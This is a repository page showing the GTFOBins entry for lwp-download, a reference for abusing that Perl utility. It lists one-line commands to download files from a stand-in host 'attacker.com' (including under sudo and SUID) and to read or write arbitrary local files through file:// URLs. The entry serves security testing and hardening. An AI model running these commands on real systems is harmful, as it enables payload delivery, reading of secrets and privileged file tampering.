This website requires JavaScript.
Explore
Help
Sign In
dash
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
Code
Issues
Pull Requests
Packages
Projects
Releases
Wiki
Activity
Files
69be6785a92b6681debe20d7e6221b162d4c8688
GTFOBins.github.io
/
_gtfobins
/
lwp-download.md
LinuxSploit
4469fdc662
Add lwp-download file-read/write
2021-04-13 08:59:10 +02:00
790 B
Raw
Blame
History
description, functions
description
functions
Fetch a remote file via HTTP GET request.
file-download
suid
sudo
file-read
file-write
code
URL=
http://attacker.com/file_to_get
LFILE=file_to_save lwp-download $URL $LFILE
code
URL=
http://attacker.com/file_to_get
LFILE=file_to_save ./lwp-download $URL $LFILE
code
URL=
http://attacker.com/file_to_get
LFILE=file_to_save sudo lwp-download $URL $LFILE
description
code
The file path must be absolute.
LFILE=file_to_read TF=$(mktemp) lwp-download "file://$LFILE" $TF cat $TF
code
LFILE=file_to_write TF=$(mktemp) echo DATA >$TF lwp-download file://$TF $LFILE
Reference in New Issue
View Git Blame
Copy Permalink